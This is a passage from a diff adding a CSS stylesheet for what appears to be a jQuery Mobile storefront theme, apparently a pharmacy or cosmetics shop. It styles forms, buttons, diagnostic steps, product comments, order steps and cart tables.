color:#000000; + padding:0; + font-family:Arial,Sans-Serif; + line-height:17px; +} +.leftCol p{ + font-size:11px; + line-height:17px; + font-weight:normal; + color:#666666; + font-family:Arial,Sans-Serif; +} +.centerCol{ clear:both;} +.clear{clear:both;} + +.type-interior .tiroir{ + clear:both; +} +.type-interior .tiroir h3{ + background:url('../img/fondH3.png') 0 center; + border:1px solid #d9d9d9; + /*height:43px; */ + padding:0; + margin:0 0 10px; + cursor:pointer; +} +.type-interior .tiroir h3 span{ + cursor:pointer; + display:block; + color:#92af06; + /*line-height:43px;*/ + /*height:43px;*/ + font-size:24px; + font-weight:bold; + padding:7px 12px 7px 46px; + line-height:29px; + display:block; + font-family:Times New Roman; + background:url('../img/moreless.png') no-repeat 14px -115px; +} +.type-interior .tiroir.open h3{ + margin:0; +} +.type-interior .tiroir.open h3 span{ + background:url('../img/moreless.png') no-repeat 14px 20px; +} +.type-interior .tiroir div.texte{ + padding:20px 46px 20px 46px; + color:#000000; + font-size:12px; + border:1px solid #d9d9d9; + border-top:0; + margin:0 0 10px; +} +.type-interior .tiroir div.texte p{ + margin:0; + padding:0; +} +body .type-interior .rightCol{ clear:both;} +.rightCol iframe{width:640px;height:360px;} +.rightCol .bloctitre{ + background:url('../img/blocPhilosophie.png') no-repeat 0 0; + width:540px; + height:338px; + padding:25px 50px; +} +body .type-interior .rightCol .video{ + padding:0 0 20px; +} +body .type-interior .rightCol h5, +body .type-interior .rightCol h4{ + line-height:46px; + height:46px; + font-size:30px; + color:#000000; + margin:0px 0 20px; +} +body .type-interior .rightCol img{ + float:left; + margin:0; +} +body .type-interior .rightCol p{ + color:#000000; + font-size:20px; + font-family:Arial,Sans-Serif; +} +body .type-interior .rightCol .description{ + min-height:110px; +} +body .type-interior .rightCol .button{ + margin:0 0 0 240px; +} +body .bloctitre .image{ + float:left; + margin:0 30px 10px 0; +} +body .rightCol ul { + padding: 14px 0; + margin:0; +} +body .rightCol ul li{ + list-style:none; + padding:0 20px; +} +.ui-body-c .ui-link.button{ + background:url('../img/button247.png') no-repeat 0 0; + line-height:36px; + height:36px; + padding:0 0 0 40px; + width:207px; + color:#000000; + text-transform:uppercase; + display:block; +} +.ui-body-c .submit .ui-link.button{ + background:#b9da1a; + width:auto; + padding:0; +} +.ui-body-c .submit .ui-link.button.simple, +.ui-body-c .ui-link.button.simple{ + background:#b9da1a; + width:auto; + padding:0 20px; +} +.breadcrumb{ + padding:20px 0 20px 24px; +} +.breadcrumb .navigation-pipe{ + color:#ffffff; +} +.ui-mobile .breadcrumb a.ui-link{ + color:#ffffff; + padding:0 12px 0 0; +} +.ui-mobile .breadcrumb span{ + color:#ffffff; + padding:0 12px 0 0; +} +.breadcrumb .navigation_page{ + color:#BFDA3F; + padding:0 12px; +} + +.filtreProduits{ + border-bottom:1px solid #000000; + padding:0 0 30px; +} +body .borderGreen .pagination{ + padding:20px 0 20px; + line-height:44px; + font-size:18px; + color:#000000; + float:right; +} +body .borderGreen .pagination li{ + float:left; + line-height:44px; + height:44px; + margin:0 0 0 10px; + font-size:18px; +} +#presse .borderGreen .items{ + border:0; + margin:0; +} +#presse .borderGreen .items li .texte{ + color:#000000; +} +#presse .borderGreen .items li .floatLeft{ + width:143px; + float:left; + margin:0; +} +#presse .borderGreen .items li .floatRight{ + width:300px; + float:right; + margin:0; +} +#presse .borderGreen .items li img.image { + border: 0 none; + float: left; + margin: 0 0px 20px 0; +} +.borderGreen .items li{ + list-style:none; +} +.pagination span, +.pagination a{ + width:44px; + height:44px; + line-height:44px; + color:#ffffff; + background:#b9da1a; + font-size:18px; + float:left; + border:0; +} +.ui-body-c .pagination a.ui-link, +.ui-body-c .pagination a.ui-link:hover{ + border:0; + color:#ffffff +} +.borderGreen .pagination li.current span{ + color:#ffffff; + background:#000000; +} +.ui-body-c .borderGreen, .ui-overlay-c .borderGreen{ + color:#000000; +} +.ui-body-c .borderGreen p.success, .ui-overlay-c .borderGreen p.success{ + color:#BFDA3F; +} +body .borderGreen .filtreProduits label{ + font-size:18px; +} +#espacepharmaciens form.std fieldset { + border:0; + background:url('../img/bgEspacepharmaciens.jpg') no-repeat 0 0; + width:439px; + height:305px; + padding:40px 45px; +} +.uppercase{text-transform:uppercase;} +.times{font-family:Times New Roman;} + +body form.std p.text input{ + padding:0 10px; + height: 44px; + line-height: 44px; + font-size:16px; + color:#999999; +} + +body input::-moz-placeholder, +body textarea::-moz-placeholder { + color: #AAAAAA; + font-size:16px; + color:#000000; + opacity:1; + filter:alpha(opacity=100); +} +#espacepharmaciens form.std p.text .ui-input-text{ + float:left; +} +#espacepharmaciens form.std p.submit { + padding-right:28px; +} +#espacepharmaciens form.std p.text input.inputText388{ + width:378px; + background:url('../img/inputText388.png') no-repeat 0 0; + margin:0 0 10px 25px; +} +#espacepharmaciens h3{ + margin:0 0 10px; +} +#espacepharmaciens form.std p.text{ + height:64px; + padding:0; + margin:0; +} +#espacepharmaciens form.std p.submit input.inputText388{ + /*background:#b9da1a; + border:1px solid #afcf18; + float:right; + width:154px; + height:44px; + color:#000000; + margin:0 25px 0 0;*/ +} +body form.std .ui-btn{ + /*background: linear-gradient(#B9DA1A, #B9DA1A) repeat scroll 0 0 #a9c717;*/ + background:#B9DA1A; + background-image:-webkit-gradient(linear,left top,left bottom,from( #B9DA1A ),to( #B9DA1A )); + background-image:-webkit-linear-gradient( #B9DA1A,#B9DA1A ); + background-image:-moz-linear-gradient( #B9DA1A,#B9DA1A ); + background-image:-ms-linear-gradient( #B9DA1A,#B9DA1A ); + background-image:-o-linear-gradient( #B9DA1A,#B9DA1A ); + background-image:linear-gradient( #B9DA1A,#B9DA1A ) + + /*background:#a9c717;*/ + border: 1px solid #a9c717; + font-weight:normal; +} +body form.std .ui-btn{ + /*background:#b9da1a; + border:1px solid #afcf18; + float:right; + width:154px; + height:44px; + color:#000000; + margin:0 25px 0 0;*/ + width:154px; + float:right; + margin:0 25px 0 0; + font-family:Times New Roman; + font-size:18px; + text-transform:uppercase; + color:#000000; +} +body form.std .ui-btn:hover{ + color:#000000; +} +body .ui-btn-corner-all{ + -webkit-border-radius: 0px; + -moz-border-radius: 0px; + border-radius: 0px; +} + +#cms .rte a{ + color:#000000; +} + + + + + + + + + +#footer{clear:both;} +.ui-select .ui-btn select{ + width:344px +} +.select .days, +.select .months, +.select .years{ + float:left; + height:40px; + width:90px; +} +.select .days select, +.select .months select, +.select .years select{ + width:90px; +} +.select .days .ui-select .ui-btn, +.select .months .ui-select .ui-btn, +.select .years .ui-select .ui-btn{ + width:90px; + font-size:15px; +} +body form.std .select .days{ + margin-right:64px; +} +body form.std .select .years{ + float:right; +} +body form.std .select .years .ui-btn .ui-btn-inner, +body form.std .select .days .ui-btn .ui-btn-inner, +body form.std .select .months .ui-btn .ui-btn-inner{ + padding:0 40px 0 0; + text-align:center; + font-weight:normal; +} +body form .select .ui-btn, +body form.std .select .ui-btn{ + width:384px; + background:#ffffff; + border: 1px solid #cacaca; + box-shadow:none; + -webkit-border-radius: 1px; + -moz-border-radius:1px; + border-radius:1px; + margin-right:0; +} +body form .filtreProduits .select .ui-btn{ + width: 350px; +} +body form .select .ui-btn .ui-icon, +body form.std .select .ui-btn .ui-icon{ + float:right; + background:url('../img/flecheMobileSelect.png') no-repeat center center!important; + height: 39px; + width: 41px; + right:0; + top:-2px; + margin:0; + border:0; + -webkit-border-radius: 0px; +-moz-border-radius:0px; +border-radius:0px; +box-shadow:none; +background-size:100% 100%; +} +body form.std label{ + font-size:18px; + width:auto; +} +body form.std label.ui-input-text{ + width:224px; +} +body form.std .naissance label.ui-select{ + width:228px; + line-height:26px!important; +} +body form.std .textarea label, +body form.std .text label, +body form.std .select label{ + font-size:18px; + float:left; + margin:0; + padding:3Px 0 0; + line-height:40px; +} +body form.std .select .ui-btn .ui-btn-inner{ + height: 37px; + line-height: 37px; + padding-top:0; + padding-bottom:0; + top:0; + text-align:left; +} +body form.std .select .ui-btn span{ + height: 39px; + line-height: 39px; +} + +#formContact label{width:auto;} + +body form .radio, +body form .select, +body form .text{ + padding:0; + font-size:18px; + line-height:40px; +} +body form div.radio, +body form div.select, +body form div.text{ + min-height:70px; +} +body form .text input{ + background:url('../img/inputText388.jpg') no-repeat 0 0; + width:368px; + padding:3px 10px 0 10px; + height:40px; + line-height:40px; + min-height;40px; +} +body form .textarea{ + height:400px; + resize:none; +} +body form .textarea label{ +line-height:30px; +} +body form .textarea textarea{ + background:url('../img/textarea388.jpg') no-repeat 0 0; + width:388px; + padding:10px 10px 10px 10px; + height:381px; +} +body form .ui-input-text{ + float:right; + width:388px; + box-shadow:none; + -webkit-border-radius: 0px; + -moz-border-radius:0px; + border-radius:0px; + background:none; + border:0; + color:#000000; + margin:0; +padding:0; +} + +body form .radio .ui-btn, +body form .checkbox .ui-btn { + background: #ffffff; + border: 0; +} +.ui-radio .ui-btn-icon-left .ui-icon-radio-off, +.ui-radio .ui-btn-icon-left .ui-icon, +.ui-checkbox .ui-btn-icon-left .ui-icon-checkbox-off, +.ui-checkbox .ui-btn-icon-left .ui-icon{ + background:url('../img/checkbox_off.png') no-repeat 0 0; + width:37px; + height:38px; + left:0; + top:11px; + margin:0; + background-size:22px 22px; +} +.ui-radio .ui-btn-icon-left .ui-icon-radio-off, +.ui-radio .ui-btn-icon-left .ui-icon-radio-on{ + top:16px; + left:10px; +} +.ui-checkbox .ui-btn-icon-left .ui-icon-checkbox-off +{ + box-shadow:none; + background:url('../img/checkbox_off.png') no-repeat 0 0; +} +.ui-checkbox .ui-btn-icon-left .ui-icon-checkbox-on{ + box-shadow:none; + background:url('../img/checkbox_on.png') no-repeat 0 0; +} +.ui-radio .ui-btn-icon-left .ui-icon-radio-on{ + box-shadow:none; + background:url('../img/radio_on.png') no-repeat 0 0; +} +.ui-radio .ui-btn-icon-left .ui-icon-radio-off{ + box-shadow:none; + background:url('../img/radio_off.png') no-repeat 0 0; +} +.ui-checkbox input, +.ui-radio input{top:20px; +display:none; +} + +body form.std .radio .ui-btn{ + margin:0 0px 0 0; + width:70px; +} + +body form.std .radio .ui-btn .ui-btn-inner{ + margin:0; + padding-right:0; +} + + +span.grey{color:#999999;font-size:14px;} + +body form.std .submit .ui-btn { + margin:0; + width:auto; + height:44px; + line-height:44px; + font-weight:normal; +} + +.ui-body-c .submit .ui-link.button span, +body form .submit .ui-btn .ui-btn-inner, +body form.std .submit .ui-btn .ui-btn-inner{ + margin:0; + padding:0 44px 0 20px; + line-height:44px; + height:44px; + background:url('../img/flecheSubmit.png') no-repeat right center; +} +body form .submit.submit33 .ui-btn-inner{ + text-transform:uppercase; + font-family: Times New Roman; + font-size: 18px; + line-height: 33px; +} +.ui-body-c .submit .ui-link.button{ + padding:0; +} +.ui-body-c .submit .ui-link.button.simple{ + padding:0 10px; +} +.ui-body-c .submit .ui-link.button.simple, +.ui-body-c .submit .ui-link.button span{ + line-height:37px; + display:block; + font-size:18px; + font-family:Times New Roman +} +#content.order form.std .submit .ui-btn .ui-btn-inner, +#content.order form.std .submit .ui-btn { + height:35px; + line-height:35px; +} +.textLoi{ + color:#999999; + clear:both; + padding:20px 0 40px; + font-size:12px; +} +/* cacher */ +.sf-right, +/*.nosProduits .categories_block, */ +#header_user_info{ + display:none!important; +} + +.blocRight h5{ + margin:0; + background:#b9da1a; + font-weight:normal; + color:#000000; + font-size:35px; + font-family:Times New Roman,Arial,Sans-Serif; + text-transform:uppercase; + height:65px; + line-height:65px; + text-align:center; +} +.blocRight{ + margin:0 0 65px; + color:#000000; + background:white; + -moz-box-shadow: inset 0px 0px 10px 1px #999999; +-webkit-box-shadow: inset 0px 0px 10px 1x #999999; +-o-box-shadow: inset 0px 0px 10px 1px #999999; +box-shadow: inset 0px 0px 10px 1px #999999; +filter:progid:DXImageTransform.Microsoft.Shadow(color=#999999, Direction=NaN, Strength=10); +} +.blocRight.green{ + background:#b9da1a; + -moz-box-shadow:none; + -webkit-box-shadow: none; + -o-box-shadow: none; + box-shadow:none9; + filter:progid:none; +} +.blocRight.green h5{ + padding-top:10px; +} +.ui-body-c .blocRight .ui-link{ + color:#000000; +} +.blocRight div{ + padding:20px; + font-size:20px; + line-height:40px; +} +.blocRight.green div{ + text-align:center; + background:#b9da1a; + padding:0 20px 40px; +} +body form.std .submit.fleche_off .ui-submit{ + margin: 0 0 0 20px +} +body form.std .submit.fleche_off .ui-btn .ui-btn-inner{ + background:none; + padding:0 20px; +} +body #diagnostic .formulaire p.titre{ + padding:0 0 0 24px; +} +body #diagnostic .formulaire{ + padding: 20px 0 20px 50px; +} +body #diagnostic form.std .radio, +body #diagnostic form.std .select/*, body form.std .text*/{ + min-height:50px; + +} +body #diagnostic .diagnosticSteps{ + padding:0; +} +body #diagnostic .tiroir h3{ + width:auto; +} +body #diagnostic table.produits td.col3 h4{ + margin:0; +} +body #diagnostic .type-interior .tiroir div.texte{ +padding:20px ; +} +table.produits td.col3 h4 a, table.produits td.col3 h4 { + color: #000000 !important; +} +body #diagnostic form.std .submit.submitAlone , +body #diagnostic form.std .submit.submitAlone .ui-btn, +body #diagnostic form.std .submit.submitAlone .ui-btn .ui-btn-inner{ + line-height:29px; + height:31px; + font-size:18px; +} +body #diagnostic form.std .submit.submitAlone .ui-btn{ + margin:0 0 30px; +} + + + +body #diagnostic .diagnosticSteps{display:table;height:64px;line-height:64px;width:100%;margin:0 0 20px;} +/*body #diagnostic .diagnosticSteps.step1{background-position:0 right;} +body #diagnostic .diagnosticSteps.step1{background-position:0 right;} +body #diagnostic .diagnosticSteps.step2{background-position:0 -64px;} +body #diagnostic .diagnosticSteps.step3{background-position:0 -84px;} +body #diagnostic .diagnosticSteps.step4{background-position:0 -126px;} +body #diagnostic .diagnosticSteps.step5{background-position:0 -168px;} +body #diagnostic .diagnosticSteps.step6{background-position:0 -120px;}*/ +body #diagnostic .diagnosticSteps li{display:table-cell;list-style:none;margin:0;padding:0;} +body #diagnostic .diagnosticSteps li.selected{font-size:10px;} + +body #diagnostic .diagnosticSteps li a{text-decoration:none;display:block;height:64px;line-height:20px;font-size:10px;color:#000000;text-align:left;font-family:Times New Roman;text-transform:uppercase;padding:0 15px 0 4px;} + +body #diagnostic .diagnosticSteps li.item1{padding:0;} +body #diagnostic .diagnosticSteps li a{background:url('../img/diagnosticSteps.png') no-repeat right 0 ;} +body #diagnostic .diagnosticSteps li.selected a{background:url('../img/diagnosticSteps.png') no-repeat right -64px;} + +body #diagnostic .diagnosticSteps li.item6 a{background:url('../img/diagnosticSteps.png') no-repeat right -259px;padding:0px 16px 0 8px;} +body #diagnostic .diagnosticSteps li.item6.selected a{background:url('../img/diagnosticSteps.png') no-repeat right -322px;padding:0px 16px 0 8px} + + +body #diagnostic .diagnosticSteps li.selected{font-size:10px;} +body #diagnostic .diagnosticSteps li.selected a{font-size:10px;padding:0px 16px 0 8px} + +body #diagnostic .diagnosticSteps.step2 li.item1, +body #diagnostic .diagnosticSteps.step3 li.item2, +body #diagnostic .diagnosticSteps.step4 li.item3, +body #diagnostic .diagnosticSteps.step5 li.item4, +body #diagnostic .diagnosticSteps.step6 li.item5{padding:0 20px 0 0;background:url('../img/diagnosticSteps.png') no-repeat right -193px; } +body #diagnostic .diagnosticSteps.step2 li.item1 a, +body #diagnostic .diagnosticSteps.step3 li.item2 a, +body #diagnostic .diagnosticSteps.step4 li.item3 a, +body #diagnostic .diagnosticSteps.step5 li.item4 a, +body #diagnostic .diagnosticSteps.step6 li.item5 a{padding:0px 16px 0 8px;background-position:-20px 0;} + +body #diagnostic .diagnosticSteps li.item6 a, +body #diagnostic .diagnosticSteps li.item4 a, +body #diagnostic .diagnosticSteps li.item3 a{ + /*padding-top:10px; + height:54px;*/ +} + + + +#authentication .borderGreen form{ + margin:0 0 40px; + float:none; +} +#authentication fieldset{ + background:#fafafa; + border:1px solid #e5e5e5; + text-align:left; +} +#authentication fieldset h3{ + font-size:30px; + text-align:left; + font-family:Times New roman; + font-weight:normal; + padding:0 30px; + +} +#authentication fieldset input{ + text-align:left; +} +#authentication #login_form div.ui-input-text{ + float:left; + margin:0 69px; +} +#authentication #login_form .lost_password{ + padding:0 69px; + text-align:right; + font-size:15px; + color:#91ab14; +} +#authentication #login_form .lost_password a{ + font-size:15px; + color:#91ab14; + text-decoration:underline +} +#authentication #login_form .submit{ + padding:20px 69px; + height:47px; +} +#authentication #create-account_form h3{ + margin-bottom:0; +} +#authentication #create-account_form p{ + padding:0 30px 0px 30px; + font-size:16px; + line-height:30px; +} +#identity .submit, +#authentication #create-account_form .submit{ + padding:0px 30px 20px; + height:47px; +} +body #identity form.std .radio .ui-radio, +body #authentication form.std .account_creation .radio .ui-radio{ + float:left; + width:auto; + clear:none; +} +body #identity form.std .radio .ui-radio label, +body #authentication form.std .account_creation .radio .ui-radio label{ + width:auto; + margin:0 10px 0 0; +} +body .required sup{ + color:#000000; +} +body #identity form.std .select, +body #identity form.std .text, +body #authentication form.std .select, +body #authentication form.std .text{clear:both;} +body #identity form.std label.ui-input-text, +body #authentication form.std label.ui-input-text { + width: 140px; +} +body #identity form.std .naissance label.ui-select, +body #authentication form.std .naissance label.ui-select { + line-height: 20px !important; + padding: 0; + width: 143px; +} +body form.std .checkbox .ui-btn{ + float:left; + width:auto; + text-transform:none; +} +body form.std .checkbox .ui-btn .ui-btn-inner{ + padding-left:50px; + min-height:32px; +} +#my-account .myaccount_lnk_list{ + margin:0; + padding:0; +} +body #my-account .myaccount_lnk_list li{ + width:100%; + height:260px; + margin:26px 0 0; +} +body #my-account .myaccount_lnk_list li a{ + height:120px; + background: url("../img/flecheMyAccount.png") no-repeat scroll center 160px #000000; + font-size: 25px; + line-height: 30px; + padding: 70px; + text-align: center; + text-transform: uppercase; +} +.ui-disabled{ + background:#E8EBF0; + opacity:1; + filter:alpha(opacity=100); +} +.ui-disabled input{ + background:#E8EBF0!important; + color:#808080; +} +body form.std .submit.fleche_left .ui-btn .ui-btn-inner{ + background: url("../img/fleche_left.png") no-repeat scroll 0 0 transparent; + padding: 0 25px 0 40px; + width: auto; +} +body form.std .submit.fleche_plus .ui-btn .ui-btn-inner{ + background: url("../img/fleche_plus.png") no-repeat scroll 0 0 transparent; + padding: 0 25px 0 40px; + width: auto; +} + +body form.std .submit.fleche_plus .ui-link.button, +.ui-body-c .ui-link.button.back { + color: #000000; + float:left; + font-weight: normal; + height: 44px; + line-height: 44px; + padding:0px; + text-transform: uppercase; + width: auto; + background: linear-gradient(#B9DA1A, #B9DA1A) repeat scroll 0 0 #A9C717 ; + + background:#B9DA1A; + background-image:-webkit-gradient(linear,left top,left bottom,from( #B9DA1A ),to( #A9C717 )); + background-image:-webkit-linear-gradient( #B9DA1A,#A9C717 ); + background-image:-moz-linear-gradient( #B9DA1A,#A9C717 ); + background-image:-ms-linear-gradient( #B9DA1A,#A9C717 ); + background-image:-o-linear-gradient( #B9DA1A,#A9C717 ); + background-image:linear-gradient( #B9DA1A,#A9C717 ) + + + border: 1px solid #A9C717; + border-radius: 3px; + -webkit-border-radius:3px; + border-radius:3px; +} + +body form.std .submit.fleche_plus .ui-link.button span, +.ui-body-c .ui-link.button.back span{ + background: url("../img/fleche_left.png") no-repeat scroll 0 0 transparent; + height: 44px; + line-height: 44px; + display:block; + padding: 0 25px 0 40px; + color:#000000; +} +body form.std .submit.fleche_plus .ui-link.button span{ + background: url("../img/fleche_plus.png") no-repeat scroll 0 0 transparent; +} + + +body #address h2, +body #addresses h2, +body #identity h2{ + color:#8daa01; + font-size:18px; + height:40px; + margin:0; + font-weight:normal; +} +body #address .addresses h3, +body #addresses .addresses h3{ + font-size:20px; +} +body #address .addresses h3 a.btRight, +body #addresses .addresses h3 a.btRight{ + font-size:16px; + line-height:30px; + height:30px; + margin:-4px 0 0 10px; + text-transform:uppercase; +} +body #addresses .addresses ul{ + list-style:none; + font-size:18px; + height:auto!important; +} +body #addresses .addresses ul li{ + list-style:none; + font-size:18px; + line-height:30px; +} + +body #address form.std fieldset .radio span, +body #address form.std fieldset .textarea label, +body #address form.std fieldset .select label, +body #address form.std fieldset .text label { + width: 140px; +} + + +/* table *************************************************************************************** */ +table.std, +table.table_block { + margin-bottom:20px; + width:100%; + border:0; + background:white; + border-collapse:inherit +} +table.std th, +table.table_block th { + padding:12px 20px; + line-height:16px; + font-size:12px; + color:#000000; + font-weight:bold; + text-transform:uppercase; + background:#b9da1a; + border:1px solid #9dba16; + border-left:0; +} +table.std th:first-child, +table.table_block th:first-child{ + border:1px solid #9dba16; +} +table.std tr.alternate_item, +table.table_block tr.alternate_item {background-color: #f3f3f3} +table.std td, +table.table_block td { + padding:12px 20px; + font-size:12px; + vertical-align:top; + color:#000000; + border:1px solid #dddddd; + border-top:0; + border-left:0; +} +table.std td:first-child, +table.table_block td:first-child{ + border-left:1px solid #dddddd; +} +table.std td a{ + color:#000000; +} +#history .type-interior .borderGreen { + padding: 30px 14px; + width: auto; +} +#history .type-interior .borderGreen a{ + color:#000000; +} +.history_price{white-space:nowrap;} + +#history .type-interior .title_block { + margin:20px 0; + padding:15px 20px; + border:1px solid #dddddd; +} +#history .type-interior .title_block input { + display:none; +} + +#history #returnOrderMessage .textarea textarea, +#history #sendOrderMessage .textarea textarea { + width:100%; + border:1px solid #999 +} + +#history .order_qte_input{display:none} +#history .adresses_bloc{ + clear:none; + float:left; + width:50%; + margin:0; +} +#history .adresses_bloc .address_title{ + background:#B9DA1A; + border:1px solid #9DBA16; + border-right:0; + border-bottom:0; + line-height: 16px; + color: #000000; + font-size: 12px; + font-weight: bold; + line-height: 16px; + padding: 12px 20px; + text-transform: uppercase; + text-align: left; + margin:0; +} +#history .adresses_bloc .address_title.alternate_item{ + border:1px solid #9DBA16; + border-left:0; +} +#history .adresses_bloc ul{ + padding:12px 20px; + border:1px solid #dddddd; + border-right:0; + margin:0 0 20px; +} +#history .adresses_bloc .address_title.alternate_item{ + border:1px solid #dddddd; + border-left:0; +} +#history .adresses_bloc ul li{ + padding:0; + line-height: 16px; + font-size: 12px; + color: #000000; + list-style:none; + padding:0; +} + +#history .adresses_bloc ul li .address_firstname, +#history .adresses_bloc ul li .address_lastname{ + font-weight:bold; +} + +.noborder{ + border-left:0!important; + border-top:0!important; + border-bottom:0!important; +} + +#content.product h2{ + color: #999999; + font-size: 16px; + line-height:20px; + font-weight: normal; + padding: 0 0 8px; +} +#content.product a.productFlecheVerte { + background: url("../img/productFlecheVerte.png") no-repeat scroll 0 center transparent; + color: #000000; + line-height: 20px; + padding: 0 0 0 10px; + font-size:14px; + font-weight:normal; +} +#content.product #image-block{text-align:center;} +#content.product #view_full_size{ + position:relative; + width:286px; + height:399px; + display:block; + margin:0 auto; +} +#content.product #view_full_size .span_link{ + position:absolute; + bottom:30px; + right:20px; +} +#content.product .submit.fleche_off .ui-btn-inner{ + font-size:20px; + font-family:Arial,Sans-Serif; +} +#content.product #add_to_cart{ + float:right; + height:44px; +} +#content.order .cart_quantity_button, +#content.product #quantity_wanted_p{ + float:left; + line-height:48px; + height:48px; + width:92px; + position:relative; + background:url('../img/qtyWanted.jpg') no-repeat 0 0; +} + +#content.order .cart_quantity_button .ui-input-text, +#content.product #quantity_wanted_p .ui-input-text{ + float:left; + width:auto; + line-height:48px; + height:48px; + background:none; + border:0; + box-shadow:none; +} +#content.order .cart_quantity_button .cart_quantity_input, +#content.product #quantity_wanted_p #quantity_wanted{ + background:none; + line-height:48px; + height:48px; + border:0!important; + font-size:20px; +} +#content.product #quantity_wanted_p #quantity_wanted{ + padding:0; + text-align:center; +} +#content.product #quantity_wanted_p .less, +#content.product #quantity_wanted_p .more{ + background:none; + left:73px; +} +#content.product #quantity_wanted_p .less{ + top:27px; +} +#content.product .content_prices{ + float:left; + line-height:48px; + height:48px; + font-size:25px; + width:130px; + text-align:right; +} +#content.product .content_prices p{ + float:none; + text-align:right; + display:block; + font-size:25px; + line-height:48px; + height:48px; + margin:0; +} +#content.product .type-interior .tiroir div.texte p{ + color:#666666; + font-size:18px; + line-height:30px; +} +#content.product .type-interior .tiroir div.texte p strong, +#content.product .type-interior .tiroir div.texte p b{ + color:#000000; +} +#content.product .tiroir div.texte a.ui-link, #content.product .tiroir div.texte a{ + color:#92AF06; + +} + +/* module productcomments ********************************************************************** */ +.rating { + clear: both; + display: block; + margin: 2em; + cursor: pointer; +} +.rating:after { + content: '.'; + display: block; + height: 0; + width: 0; + clear: both; + visibility: hidden +} +.cancel, .star { + overflow: hidden; + float: left; + margin:0 1px 0 0; + width: 16px; + height: 16px; + text-indent: -999em; + cursor: pointer +} +.cancel, .cancel a { background: url(../../../../modules/productcomments/img/delete.gif) no-repeat 0 -16px !important } +.star, .star a { background: url(../../../../modules/productcomments/img/star.gif) no-repeat 0 0 } +.cancel a, .star a { + display: block; + width: 100%; + height: 100%; + background-position: 0 0 +} +div.star_on a { background-position: 0 -16px } +div.star_hover a, div.star a:hover { background-position: 0 -32px } + +.star { + position: relative; + top:2px; + float: left; + height: 12px; + width: 12px; + overflow: hidden; + text-indent: -999em; + cursor: pointer +} +/* ************************************************************************************************ + addons comments products +************************************************************************************************ */ +form#sendComment fieldset{ + padding:10px; + border:1px solid #ccc; + background:#eee +} +form#sendComment h3 {font-size:14px;} +#new_comment_form p.text { + margin-bottom: 0; + padding-bottom: 0; +} +#sendComment p.text label, +#sendComment p.textarea label { + display: block; + margin: 12px 0 4px; + font-weight: bold; + font-size: 12px; +} +#sendComment p.text input { + padding: 0 5px; + height: 28px; + width: 498px; + border: 1px solid #ccc; + background: url(../img/bg_input.png) repeat-x 0 0 #fff; +} +#sendComment p.textarea textarea { + height:80px; + width:508px; + border:1px solid #ccc; +} +#sendComment p.submit { + padding:0; + text-align:right +} + +#sendComment p.closeform { + float:right; + padding:0; + height:12px; + width:12px; + text-indent:-5000px; + background:url(../img/icon/delete.gif) no-repeat 0 0 +} + +.star { + position: relative; + top:2px; + float: left; + height: 12px; + width: 12px; + overflow: hidden; + text-indent: -999em; + cursor: pointer +} +.star, .star a { background: url(../../img/star.png) no-repeat 0 0 } +div.star_on a { background-position: 0 bottom } +div.star_hover a, div.star a:hover { background-position: 0 bottom } + +.new_comment_form_content div.select{ + clear:both; +} +body #product_comments_block_tab { + display: block; + margin: 11px 0 20px; +} +body form.std .new_comment_form_content div.select .days{ + float:right; + width:388px; + margin:0; + height:70px; +} +.new_comment_form_content div.text{ + height:70px; + clear:both; +} +.new_comment_form_content div.select .days .ui-btn{ + width:388px; +} +.new_comment_form_content div.select .days select{ + width:347px; +} +#content.product .comment .colonne2 { + width: 346px; +} +#content.product .comments{ + border-bottom:1px solid #D9D9D9 ; +} +.floatRight{float:right;} +.floatLeft{float:left;} + +#order_step{ + padding:0; + margin:0; + height:189px; + width:558px; + clear:both; + display:block; + background:url('../img/step1.png') no-repeat 0 0; +} +#order_step.step2{ + background:url('../img/step2.png') no-repeat 0 0; +} +#order_step.step3{ + background:url('../img/step3.png') no-repeat 0 0; +} +#order_step li{ + width:558px; + height:46px; + line-height:46px; + margin: 0 0 17px; + list-style:none; + color:#000000; + font-size:23px; + font-family:Times New roman; +} +#order_step li span, +#order_step li a{ + height:46px; + line-height:46px; + color:#000000; + display:block; + font-size:23px; + padding:0 30px; + font-family:Times New roman; +} +#order p.green{ + color:#8daa01; + font-size:14px; +} +#order-detail-content{ + padding:20px 0; +} +#order-detail-content table.std td:first-child, +#order-detail-content table.std td{ + border:0; + border-bottom:1px solid #cccccc; + padding:20px 0; +} +#order-detail-content table.std td .cart_product{ + float:left; + width:130px; + height:150px; +} +#order-detail-content table.std td div.cart_description{ + float:left; + width:420px; +} +#order-detail-content table.std td div.cart_quantity{ + float:left; + width:92px; + height:50px; +} +#order-detail-content table.std td div.cart_quantity .ui-input-text{ + float:left; + margin:0; + -moz-border-radius:1px; + -webkit-border-radius:1px; + border-radius:1px; + color:#000000; +} +#order-detail-content table.std td div.cart_quantity .ui-input-text input{ + padding:0; + text-align:center; +} + +#order-detail-content table.std td div.cart_quantity{ + position:relative; + height:29px; + line-height:29px; + float:left; + width:63px; + margin:0 0 12px; +} +#order-detail-content table.std td div.cart_quantity input{ + border:0; + background:url('../../img/qtyWanted.jpg') no-repeat 0 0; + width:39px; + height:29px; + line-height:29px; + text-align:center; + color:#000000; + font-size:14px; +} +#order-detail-content table.std td div.cart_quantity .more, +#order-detail-content table.std td div.cart_quantity .less{ + position:absolute; + right:0; + top:0; + float:left; + color:#000000; + line-height:14px; + font-size:20px; + width:14px; + height:14px; + padding:4px 4px 0; + background:none; + text-decoration:none; +} +#order-detail-content table.std td div.cart_quantity .less{ + background:none; + top:27px; +} + +#order-detail-content table.std td div.cart_delete{ + float:left; + margin:0 0 0 60px; + width:134px; + background:#f0f0f0; + height:30px;text-align:center; +} +#order-detail-content table.std td div.cart_delete{ + display:block; + line-height:30px; + height:30px; + font-size:16px; + color:#000000; +} +#order-detail-content table.std td div.cart_total{ + float:right; + width:90px; + font-size:25px; + text-align:right; + white-space:nowrap; +} +#order-detail-content table.std td p{ + margin:0; + padding:0 0 10px; +} +#order-detail-content table.std td p.s_title_block a{ + font-size:20px; + color:#000000; +} +#order-detail-content table.std td p.descr_short a{ + font-size:16px; + color:#999999; +} +body #order-detail-content .cart_total_price td{ + font-size:20px; + padding-bottom:0!important; + color:#000000; + border:0!important; +} +body #order-detail-content table.std .cart_total_price td:first-child{ + padding-left:130px; +} +body #order-detail-content table.std .free_ship td{ + font-size:14px; + padding-top:0!important; + color:#999999; + text-align:left; + padding-left:130px!important; + font-weight:normal; + border:0!important; +} +body form#voucher.std{padding-left:30px;} +body form#voucher.std label.ui-input-text{ + width:100%; + margin:0 0 10px; +} +body form#voucher.std .submit, +body form#voucher.std .text{ + float:left; + margin:0 0px; + width:236px; +} 